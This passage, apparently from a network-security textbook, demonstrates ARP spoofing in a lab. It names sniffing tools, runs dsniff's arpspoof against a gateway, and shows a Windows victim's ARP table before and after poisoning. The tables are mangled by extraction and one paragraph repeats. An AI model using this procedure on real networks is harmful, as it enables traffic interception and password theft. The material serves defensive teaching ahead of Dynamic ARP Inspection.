Mounting an ARP Spoofing Attack
Multiple hacking tools exist to mount an ARP spoofing attack, including the following:
• dsniff. The first tool made available, arpspoof, was part of the dsniff package. It has no GUI and is available on most Linux and Windows platforms.
• ettercap.3 A generic sniffer that has an ARP spoofing module. It has a GUI and is available on Linux and Windows platforms.
• cain.4 A sniffer designed by and for hackers. (It contains a utility to detect passwords in IP packet flows.) It runs only in Microsoft Windows.
Some of these hacking tools are complemented with protocol decoders to find the username and password fields in several protocols, such as point of presence (POP) and HTTP.
NOTE Only use attack tools in a lab environment. They might potentially break a network's stability or, even worse, they might break local laws or a business' code of conducts. Nevertheless, it is important to use them in a lab to fully understand how a potential attacker might use them and understand how Cisco switches can reduce the risk of an attack.
This example uses the dsniff package on Linux and a victim host running Windows. The dsniff package contains multiple tools, including one for ARP spoofing.
Example 6-1 displays the Windows host ARP table before the attack.
Example 6-1 Original ARP Table
Example 6-1 displays the Windows host ARP table before the attack.
Example 6-1 Original ARP Table
|
C:\>arp -a |
||
|
Interface: 10.0.0.26 |
on Interface 2 |
|
|
Internet Address |
Type |
|
|
10.0.0.1 |
00-04-4e-f2-d8-01 |
dynamic |
Example 6-2 shows how the attack tool is run. The bottom two lines appear every 30 seconds when an unsolicited ARP reply is sent to the Ethernet broadcast.
Example 6-2 ARP Spoofing
|
[root@hacker-lnx dsniff-2 |
3]# ./arpspoof 10 |
.0.0. |
1 |
|
|
0:10:83:34:29:72 ff:ff:ff |
ff:ff:ff 0806 42: |
arp |
reply 10.0 |
.0.1 is-at |
|
0:10:83:34:29:72 |
||||
|
0:10:83:34:29:72 ff:ff:ff |
ff:ff:ff 0806 42: |
arp |
reply 10.0 |
.0.1 is-at |
|
0:10:83:34:29:72 |
Example 6-3 proves that Windows has updated its ARP table, which now contains the incorrect information for host 10.0.0.1.
Example 6-3 Corrupted ARP Table
|
C:\>arp -a |
||
|
Interface: 10.0.0.26 |
on Interface 2 |
|
|
Internet Address |
Physical Address |
Type |
|
10.0.0.1 |
00-10-83-34-29-72 |
dynamic |
Continue reading here: Dynamic ARP Inspection
Was this article helpful?